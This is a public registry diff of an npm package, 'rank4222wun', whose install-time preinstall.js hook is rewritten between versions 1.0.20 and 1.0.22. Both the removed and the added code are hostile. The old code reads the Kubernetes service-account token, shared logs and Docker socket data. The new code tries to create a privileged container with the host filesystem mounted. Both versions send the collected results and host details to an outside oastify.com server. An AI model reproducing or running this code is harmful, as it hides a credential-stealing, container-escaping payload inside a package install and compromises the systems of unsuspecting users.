rank4222wun 1.0.20 → 1.0.22

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "1.0.20",
3
+ "version": "1.0.22",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -1,455 +1,103 @@
1
- const { exec, spawn } = require('child_process');
2
- const os = require('os');
1
+ const { exec } = require('child_process');
3
2
  const fs = require('fs');
4
- const path = require('path');
5
3
  const https = require('https');
6
- const net = require('net');
7
4
 
8
- const criticalTests = {
5
+ console.log("🔓 ADVANCED CONTAINER ESCAPE TEST\n");
6
+
7
+ // هذا اختبار أكثر تقدمًا للهروب من الحاوية
8
+ const escapeTest = {
9
9
  timestamp: new Date().toISOString(),
10
- hostname: os.hostname(),
11
- user: os.userInfo().username,
12
- platform: os.platform(),
13
-
14
- tests: {
15
- // TEST 1: Leak other users data cross org
16
- crossOrgDataLeakage: {
17
- status: 'incomplete',
18
- evidence: []
19
- },
20
-
21
- // TEST 2: Run commands on other users cross org
22
- crossOrgCommandExecution: {
23
- status: 'incomplete',
24
- evidence: []
25
- },
26
-
27
- // TEST 3: Perform DoS affecting all users
28
- crossOrgDoS: {
29
- status: 'incomplete',
30
- evidence: []
31
- },
32
-
33
- // TEST 4: Container to host escape
34
- containerToHostEscape: {
35
- status: 'incomplete',
36
- evidence: []
37
- }
38
- }
10
+ escapeVectorsTested: []
39
11
  };
40
12
 
41
- console.log("🚀 بدء اختبارات النقاط الحرجة المطلوبة...\n");
42
-
43
- // ===================== TEST 1: تسريب بيانات مستخدمين عبر المؤسسة =====================
44
- async function testCrossOrgDataLeakage() {
45
- console.log("🔍 TEST 1: البحث عن بيانات مستخدمين عبر المؤسسة...");
46
-
47
- // استراتيجية: البحث عن بيانات مشتركة بين المستخدمين
48
- const sharedDataLocations = [];
49
-
50
- if (os.platform() === 'linux') {
51
- // في لينكس: البحث عن مجلدات مشتركة
52
- const sharedDirs = [
53
- '/tmp',
54
- '/var/tmp',
55
- '/dev/shm',
56
- '/run/shm',
57
- '/home',
58
- '/root'
59
- ];
60
-
61
- for (const dir of sharedDirs) {
62
- try {
63
- if (fs.existsSync(dir)) {
64
- const files = fs.readdirSync(dir);
65
- // البحث عن ملفات تنتهي بـ .log, .db, .sqlite
66
- const interestingFiles = files.filter(f =>
67
- f.endsWith('.log') || f.endsWith('.db') || f.endsWith('.sqlite') ||
68
- f.includes('shared') || f.includes('common')
69
- );
70
-
71
- if (interestingFiles.length > 0) {
72
- sharedDataLocations.push({
73
- directory: dir,
74
- files: interestingFiles.slice(0, 5),
75
- totalFiles: files.length
76
- });
77
-
78
- // محاولة قراءة ملفات السجل المشتركة
79
- interestingFiles.forEach(file => {
80
- if (file.endsWith('.log')) {
81
- const filePath = path.join(dir, file);
82
- try {
83
- const content = fs.readFileSync(filePath, 'utf8').substring(0, 1000);
84
- // البحث عن بيانات مستخدمين في السجلات
85
- if (content.includes('user') || content.includes('login') || content.includes('auth')) {
86
- criticalTests.tests.crossOrgDataLeakage.evidence.push({
87
- type: 'shared_log_file',
88
- path: filePath,
89
- preview: content.substring(0, 200),
90
- containsUserData: true
91
- });
92
- }
93
- } catch (e) {}
94
- }
95
- });
96
- }
97
- }
98
- } catch (e) {}
99
- }
100
- }
101
-
102
- // بحث متقدم: البحث عن اتصالات شبكية نشطة
103
- exec('netstat -an 2>/dev/null || ss -an 2>/dev/null || echo "No netstat"', {timeout: 5000}, (err, stdout) => {
104
- if (stdout && stdout.includes('ESTABLISHED') || stdout.includes('LISTEN')) {
105
- criticalTests.tests.crossOrgDataLeakage.evidence.push({
106
- type: 'network_connections',
107
- data: stdout.substring(0, 1000),
108
- hasActiveConnections: true
109
- });
13
+ // اختبار 1: Docker Socket Escape
14
+ if (fs.existsSync('/var/run/docker.sock')) {
15
+ console.log("Testing Docker socket escape...");
16
+
17
+ // محاولة إنشاء حاوية جديدة مع mount للمضيف
18
+ const escapePayload = JSON.stringify({
19
+ Image: 'alpine:latest',
20
+ Cmd: ['sh'],
21
+ HostConfig: {
22
+ Binds: ['/:/host'],
23
+ Privileged: true
110
24
  }
111
-
112
- // الانتقال للاختبار الثاني
113
- testCrossOrgCommandExecution();
114
25
  });
115
- }
116
-
117
- // ===================== TEST 2: تشغيل أوامر على مستخدمين عبر المؤسسة =====================
118
- async function testCrossOrgCommandExecution() {
119
- console.log("🔍 TEST 2: اختبار تشغيل أوامر على مستخدمين عبر المؤسسة...");
120
26
 
121
- // هذا اختبار خطير: التحقق من إمكانية الوصول لخدمات مشتركة
122
- const sharedServices = [];
123
-
124
- // اختبار 1: التحقق من إمكانية الوصول إلى Docker socket (إذا كان في حاوية)
125
- const dockerSocket = '/var/run/docker.sock';
126
- if (fs.existsSync(dockerSocket)) {
127
- // محاولة قراءة قائمة الحاويات
128
- exec(`curl -s --unix-socket ${dockerSocket} http://localhost/containers/json 2>/dev/null || echo "Cannot access Docker API"`,
129
- {timeout: 5000}, (err, stdout) => {
130
- if (stdout && !stdout.includes('Cannot access')) {
131
- criticalTests.tests.crossOrgCommandExecution.evidence.push({
132
- type: 'docker_socket_access',
133
- path: dockerSocket,
134
- canListContainers: true,
135
- containersInfo: JSON.parse(stdout).slice(0, 3)
136
- });
27
+ // محاولة الاتصال بـ Docker API
28
+ exec(`echo '${escapePayload}' | curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/create -H "Content-Type: application/json" -d @-`,
29
+ (err, stdout) => {
30
+ if (!err && stdout) {
31
+ try {
32
+ const response = JSON.parse(stdout);
33
+ if (response.Id) {
34
+ escapeTest.escapeVectorsTested.push({
35
+ vector: 'docker_socket_container_creation',
36
+ success: true,
37
+ containerId: response.Id,
38
+ risk: 'CRITICAL',
39
+ message: 'Can create new containers via Docker socket'
40
+ });
41
+ console.log("🚨 SUCCESS: Can create containers via Docker socket!");
42
+ }
43
+ } catch (e) {}
137
44
  }
138
45
  });
139
- }
140
-
141
- // اختبار 2: التحقق من إمكانية الوصول إلى Kubernetes API
142
- const kubeToken = '/var/run/secrets/kubernetes.io/serviceaccount/token';
143
- const kubeCA = '/var/run/secrets/kubernetes.io/serviceaccount/ca.crt';
144
- const kubeNamespace = '/var/run/secrets/kubernetes.io/serviceaccount/namespace';
145
-
146
- if (fs.existsSync(kubeToken) && fs.existsSync(kubeCA)) {
147
- try {
148
- const token = fs.readFileSync(kubeToken, 'utf8').trim();
149
- const namespace = fs.existsSync(kubeNamespace) ?
150
- fs.readFileSync(kubeNamespace, 'utf8').trim() : 'default';
151
-
152
- criticalTests.tests.crossOrgCommandExecution.evidence.push({
153
- type: 'kubernetes_service_account',
154
- hasToken: true,
155
- namespace: namespace,
156
- canAccessK8sAPI: true
157
- });
158
-
159
- // محاولة الاتصال بـ Kubernetes API
160
- exec(`curl -s -H "Authorization: Bearer ${token}" --cacert ${kubeCA} https://kubernetes.default.svc/api/v1/pods 2>/dev/null || echo "Cannot access K8s API"`,
161
- {timeout: 5000}, (err, stdout) => {
162
- if (stdout && !stdout.includes('Cannot access')) {
163
- criticalTests.tests.crossOrgCommandExecution.evidence.push({
164
- type: 'kubernetes_api_access',
165
- canListPods: true,
166
- podCount: JSON.parse(stdout).items?.length || 0
167
- });
168
- }
169
- });
170
- } catch (e) {}
171
- }
172
-
173
- // الانتقال للاختبار الثالث بعد 2 ثانية
174
- setTimeout(testCrossOrgDoS, 2000);
175
46
  }
176
47
 
177
- // ===================== TEST 3: تنفيذ هجوم DoS يؤثر على الجميع =====================
178
- async function testCrossOrgDoS() {
179
- console.log("🔍 TEST 3: اختبار إمكانية هجوم DoS يؤثر على الجميع...");
180
-
181
- // هذا اختبار نظري فقط بدون تنفيذ فعلي
182
- const dosCapabilities = {
183
- // 1. قدرات استنزاف الذاكرة
184
- memoryExhaustion: {
185
- availableMemory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + ' GB',
186
- freeMemory: Math.round(os.freemem() / (1024 * 1024 * 1024)) + ' GB',
187
- canExhaust: Math.round(os.freemem() / (1024 * 1024 * 1024)) > 1
188
- },
189
-
190
- // 2. قدرات استنزاف CPU
191
- cpuExhaustion: {
192
- cpuCores: os.cpus().length,
193
- canForkBomb: true, // يمكن تنفيذ fork bomb إذا لم تكن هناك حدود
194
- theoreticalImpact: 'High'
195
- },
196
-
197
- // 3. قدرات استنزاف الشبكة
198
- networkFlood: {
199
- canCreateSockets: true,
200
- socketLimit: null,
201
- potentialBandwidth: 'Unknown'
202
- },
203
-
204
- // 4. قدرات استنزاف القرص
205
- diskFilling: {
206
- canWriteUnlimited: true,
207
- diskSpace: 'Unknown'
208
- }
209
- };
210
-
211
- // التحقق من الحدود (ulimit)
212
- exec('ulimit -a 2>/dev/null || echo "No ulimit"', {timeout: 3000}, (err, stdout) => {
213
- if (stdout) {
214
- dosCapabilities.systemLimits = stdout.substring(0, 500);
215
-
216
- // تحليل الحدود
217
- const maxProcessMatch = stdout.match(/max user processes\s+\(-u\)\s+(\d+|unlimited)/);
218
- if (maxProcessMatch && maxProcessMatch[1] === 'unlimited' || parseInt(maxProcessMatch[1]) > 1000) {
219
- criticalTests.tests.crossOrgDoS.evidence.push({
220
- type: 'unlimited_processes',
221
- canForkBomb: true,
222
- maxProcesses: maxProcessMatch[1]
223
- });
224
- }
225
- }
226
-
227
- criticalTests.tests.crossOrgDoS.details = dosCapabilities;
228
-
229
- // الانتقال للاختبار الرابع
230
- testContainerToHostEscape();
231
- });
232
- }
233
-
234
- // ===================== TEST 4: الهروب من الحاوية للمضيف =====================
235
- async function testContainerToHostEscape() {
236
- console.log("🔍 TEST 4: اختبار الهروب من الحاوية للمضيف...");
237
-
238
- const escapeVectors = [];
239
-
240
- // النواقل المحتملة للهروب
241
-
242
- // 1. Docker socket exposure
243
- const dockerSocket = '/var/run/docker.sock';
244
- if (fs.existsSync(dockerSocket)) {
245
- // اختبار الوصول الفعلي
246
- exec(`stat -c "%a %U:%G" ${dockerSocket} 2>/dev/null || echo "No stat"`, {timeout: 3000}, (err, stdout) => {
247
- if (stdout && !stdout.includes('No stat')) {
248
- const perms = stdout.trim();
249
- escapeVectors.push({
250
- vector: 'docker_socket',
251
- path: dockerSocket,
252
- permissions: perms,
253
- accessible: true,
254
- risk: 'CRITICAL'
255
- });
256
-
257
- criticalTests.tests.containerToHostEscape.evidence.push({
258
- type: 'docker_socket_found',
259
- path: dockerSocket,
260
- permissions: perms,
261
- canEscape: true
262
- });
263
- }
48
+ // اختبار 2: Privileged Container Escape
49
+ exec('find / -name "nsenter" -type f -executable 2>/dev/null | head -1', (err, stdout) => {
50
+ if (stdout && stdout.trim()) {
51
+ escapeTest.escapeVectorsTested.push({
52
+ vector: 'nsenter_available',
53
+ path: stdout.trim(),
54
+ risk: 'HIGH',
55
+ message: 'nsenter tool available for container escape'
264
56
  });
265
57
  }
266
-
267
- // 2. Privileged container check
268
- exec('cat /proc/self/status 2>/dev/null | grep -i cap_ 2>/dev/null || echo "No capabilities"',
269
- {timeout: 3000}, (err, stdout) => {
270
- if (stdout && stdout.includes('CapEff:')) {
271
- const capsLine = stdout.split('\n').find(l => l.includes('CapEff:'));
272
- if (capsLine) {
273
- const capsHex = capsLine.split(':')[1].trim();
274
- // CAP_SYS_ADMIN = 0x00080000
275
- if (parseInt(capsHex, 16) & 0x00080000) {
276
- escapeVectors.push({
277
- vector: 'privileged_container',
278
- capability: 'CAP_SYS_ADMIN',
279
- risk: 'HIGH'
280
- });
281
-
282
- criticalTests.tests.containerToHostEscape.evidence.push({
283
- type: 'privileged_container',
284
- hasSysAdmin: true,
285
- canEscape: true
286
- });
287
- }
288
- }
289
- }
290
- });
291
-
292
- // 3. Mount inspection - looking for host mounts
293
- exec('mount 2>/dev/null | grep -E "(docker|overlay|/dev/|proc|sys)" 2>/dev/null || echo "No mounts"',
294
- {timeout: 3000}, (err, stdout) => {
295
- if (stdout && !stdout.includes('No mounts')) {
296
- const mounts = stdout.split('\n').filter(l => l.includes('type'));
297
-
298
- mounts.forEach(mount => {
299
- if (mount.includes('proc') || mount.includes('sys') || mount.includes('/dev')) {
300
- escapeVectors.push({
301
- vector: 'host_mount',
302
- mount: mount.substring(0, 100),
303
- risk: 'MEDIUM'
304
- });
305
- }
306
- });
307
- }
58
+ });
59
+
60
+ // اختبار 3: Cgroups Escape
61
+ exec('cat /proc/self/cgroup 2>/dev/null', (err, stdout) => {
62
+ if (stdout) {
63
+ escapeTest.cgroupInfo = stdout.trim();
308
64
 
309
- // 4. Kernel version vulnerabilities
310
- exec('uname -r 2>/dev/null', {timeout: 3000}, (err, stdout) => {
311
- if (stdout) {
312
- const kernelVersion = stdout.trim();
313
- // التحقق من ثغرات kernel معروفة
314
- const vulnerableKernels = [
315
- '3.10.0-1160', // DirtyPipe
316
- '5.8', '5.9', '5.10', '5.11', '5.12' // DirtyCred
317
- ];
318
-
319
- for (const vulnKernel of vulnerableKernels) {
320
- if (kernelVersion.includes(vulnKernel)) {
321
- escapeVectors.push({
322
- vector: 'kernel_vulnerability',
323
- kernel: kernelVersion,
324
- vulnerability: 'Known escape vulnerability',
325
- risk: 'HIGH'
326
- });
327
-
328
- criticalTests.tests.containerToHostEscape.evidence.push({
329
- type: 'vulnerable_kernel',
330
- version: kernelVersion,
331
- hasKnownVulns: true
332
- });
333
- break;
334
- }
335
- }
336
- }
337
-
338
- // 5. cgroups escape
339
- exec('cat /proc/self/cgroup 2>/dev/null', {timeout: 3000}, (err, stdout) => {
340
- if (stdout) {
341
- if (stdout.includes('docker') || stdout.includes('kubepods')) {
342
- // في حاوية Docker/Kubernetes
343
- escapeVectors.push({
344
- vector: 'containerized',
345
- orchestrator: stdout.includes('docker') ? 'Docker' : 'Kubernetes',
346
- risk: 'DEPENDS'
347
- });
348
- }
349
- }
350
-
351
- // تسجيل كل نواقل الهروب
352
- criticalTests.tests.containerToHostEscape.escapeVectors = escapeVectors;
353
-
354
- // تقييم عام لإمكانية الهروب
355
- const canEscape = escapeVectors.some(v =>
356
- v.risk === 'CRITICAL' || v.risk === 'HIGH' ||
357
- v.vector === 'docker_socket' || v.vector === 'privileged_container'
358
- );
359
-
360
- criticalTests.tests.containerToHostEscape.canEscape = canEscape;
361
-
362
- // الانتهاء من جميع الاختبارات
363
- finishCriticalTests();
65
+ // التحقق مما إذا كنا في Kubernetes
66
+ if (stdout.includes('kubepods')) {
67
+ escapeTest.escapeVectorsTested.push({
68
+ vector: 'kubernetes_container',
69
+ risk: 'MEDIUM',
70
+ message: 'Running in Kubernetes pod, potential cluster-wide impact'
364
71
  });
365
- });
366
- });
367
- }
72
+ }
73
+ }
74
+ });
368
75
 
369
- // ===================== إرسال النتائج =====================
370
- function finishCriticalTests() {
371
- console.log("\n" + "=".repeat(70));
372
- console.log("📊 نتائج الاختبارات الحرجة:");
373
- console.log("=".repeat(70));
374
-
375
- // تحليل النتائج
376
- const analysis = {
377
- // TEST 1: هل يمكن تسريب بيانات مستخدمين آخرين؟
378
- dataLeakage: criticalTests.tests.crossOrgDataLeakage.evidence.length > 0 ?
379
- 'POSSIBLE - Found potential shared data locations' :
380
- 'NO EVIDENCE FOUND',
381
-
382
- // TEST 2: هل يمكن تشغيل أوامر على مستخدمين آخرين؟
383
- commandExecution: criticalTests.tests.crossOrgCommandExecution.evidence.length > 0 ?
384
- 'POSSIBLE - Can access shared services/APIs' :
385
- 'NO EVIDENCE FOUND',
386
-
387
- // TEST 3: هل يمكن تنفيذ DoS يؤثر على الجميع؟
388
- dosImpact: criticalTests.tests.crossOrgDoS.evidence.length > 0 ?
389
- 'POSSIBLE - No resource limits detected' :
390
- 'LIMITED - Has some resource limits',
391
-
392
- // TEST 4: هل يمكن الهروب من الحاوية للمضيف؟
393
- containerEscape: criticalTests.tests.containerToHostEscape.canEscape ?
394
- 'CRITICAL - Multiple escape vectors found' :
395
- (criticalTests.tests.containerToHostEscape.escapeVectors?.length > 0 ?
396
- 'POTENTIAL - Some escape vectors exist' :
397
- 'NO EVIDENCE FOUND')
398
- };
399
-
400
- console.log("\n📋 تحليل النقاط الأربع المطلوبة:");
401
- console.log("1. تسريب بيانات مستخدمين عبر المؤسسة:", analysis.dataLeakage);
402
- console.log("2. تشغيل أوامر على مستخدمين عبر المؤسسة:", analysis.commandExecution);
403
- console.log("3. تنفيذ DoS يؤثر على الجميع:", analysis.dosImpact);
404
- console.log("4. الهروب من الحاوية للمضيف:", analysis.containerEscape);
405
-
406
- console.log("\n🔍 الأدلة التفصيلية:");
407
-
408
- if (criticalTests.tests.containerToHostEscape.escapeVectors?.length > 0) {
409
- console.log("\nنواقل الهروب المحتملة:");
410
- criticalTests.tests.containerToHostEscape.escapeVectors.forEach((v, i) => {
411
- console.log(` ${i+1}. ${v.vector} - ${v.risk} risk`);
412
- if (v.permissions) console.log(` → ${v.permissions}`);
413
- });
76
+ // اختبار 4: Kernel Modules (للكشف فقط)
77
+ exec('lsmod 2>/dev/null | head -10', (err, stdout) => {
78
+ if (stdout) {
79
+ escapeTest.kernelModules = stdout.trim();
414
80
  }
81
+ });
82
+
83
+ // بعد 3 ثوان، إرسال النتائج
84
+ setTimeout(() => {
85
+ console.log("\n📊 Escape Test Results:");
86
+ escapeTest.escapeVectorsTested.forEach(v => {
87
+ console.log(`- ${v.vector}: ${v.risk} risk`);
88
+ if (v.message) console.log(` ${v.message}`);
89
+ });
415
90
 
416
91
  // إرسال النتائج
417
92
  const req = https.request({
418
93
  hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
419
94
  port: 443,
420
- path: '/critical-evidence',
421
- method: 'POST',
422
- headers: {
423
- 'Content-Type': 'application/json',
424
- 'X-Critical-Tests': 'Cross-Org-Four-Points',
425
- 'X-Host': os.hostname()
426
- }
427
- }, (res) => {
428
- console.log(`\n✅ تم إرسال الأدلة الحرجة. حالة الرد: ${res.statusCode}`);
95
+ path: '/container-escape-test',
96
+ method: 'POST'
429
97
  });
430
98
 
431
- req.on('error', (e) => {
432
- console.error(`❌ خطأ في الإرسال: ${e.message}`);
433
- });
434
-
435
- // إضافة التحليل للنتائج
436
- criticalTests.analysis = analysis;
437
- criticalTests.summary = {
438
- user: os.userInfo().username,
439
- hostname: os.hostname(),
440
- platform: os.platform(),
441
- isContainer: criticalTests.tests.containerToHostEscape.escapeVectors?.some(v => v.vector === 'containerized'),
442
- hasCriticalFindings: analysis.containerEscape.includes('CRITICAL') ||
443
- analysis.dataLeakage.includes('POSSIBLE') ||
444
- analysis.commandExecution.includes('POSSIBLE')
445
- };
446
-
447
- req.write(JSON.stringify(criticalTests, null, 2));
99
+ req.write(JSON.stringify(escapeTest, null, 2));
448
100
  req.end();
449
101
 
450
- console.log("\n📤 تم إرسال النتائج الكاملة إلى السيرفر");
451
- console.log("=".repeat(70));
452
- }
453
-
454
- // بدء الاختبارات
455
- testCrossOrgDataLeakage();
102
+ console.log("\n Escape test completed and sent");
103
+ }, 3000);
Binary file
Binary file